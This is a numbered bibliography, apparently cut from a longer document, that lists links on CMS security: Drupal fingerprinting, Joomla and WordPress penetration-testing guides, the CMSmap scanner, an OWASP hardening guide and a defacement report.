[24]	5 Ways to Tell if a Site is Built in Drupal: https://www.ostraining.com/blog/drupal/5-ways-drupal/
[25]	Joomla or Drupal: Which CMS handles security best? http://www.itworld.com/article/2743619/security/joomla-or-drupal--which-cms-handles-security-best-.html
[26]	CMS Vulnerability Scanner: https://github.com/Dionach/CMSmap
[27]	WordPress Penetration Test: https://www.dionach.com/blog/a-case-study-with-wordpress
[28]	OWASP WOrdPress Security Implementation Guide: https://www.owasp.org/index.php/OWASP_Wordpress_Security_Implementation_Guideline
[29]	Joomla! Penetration Test: http://www.ivizsecurity.com/blog/web-application-security/guidelines-for-pen-testing-a-joomla-based-site/
[29b]	http://www.ivizsecurity.com/Guidelines%20for%20Pen-Testing%20a%20Joomla%20Based%20Site-thanks.html?dw=yes
[30]	Security Breaches: CMS Made Simple: http://www.cmsmadesimple.org/cgblog/794/cmsmadesimple-org-defacement/